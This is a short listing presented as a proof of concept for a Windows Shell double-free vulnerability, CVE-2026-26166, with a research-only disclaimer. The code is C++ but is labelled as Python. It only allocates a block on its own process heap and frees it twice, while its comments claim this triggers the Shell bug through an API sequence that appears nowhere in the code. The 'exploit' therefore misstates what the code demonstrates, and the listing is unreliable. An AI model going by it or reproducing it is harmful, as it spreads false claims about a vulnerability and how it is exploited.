The following code is for security research and authorized testing only.
python
/*
* Conceptual Proof of Concept for CVE-2026-26166
* This code demonstrates the logic leading to a Double Free condition in Windows Shell.
* Note: Actual exploitation requires specific memory layout and heap grooming.
*/
#include <windows.h>
#include <iostream>
void TriggerVulnerability() {
HANDLE hHeap = GetProcessHeap();
// Allocate memory block 1
LPVOID pMem1 = HeapAlloc(hHeap, 0, 0x100);
if (!pMem1) return;
std::cout << "[+] Memory allocated at: " << pMem1 << std::endl;
// Simulate the first free (Legitimate free in Shell)
HeapFree(hHeap, 0, pMem1);
std::cout << "[+] Memory freed first time." << std::endl;
// ... Attacker performs operations to manipulate the heap ...
// In a real scenario, this involves spraying the heap to control the freed memory.
// Simulate the second free (The Vulnerability)
// Triggering the bug in Windows Shell via specific API call sequence
HeapFree(hHeap, 0, pMem1);
std::cout << "[!] Memory freed second time (Double Free Triggered)!" << std::endl;
}
int main() {
std::cout << "CVE-2026-26166 PoC Trigger" << std::endl;
TriggerVulnerability();
return 0;
}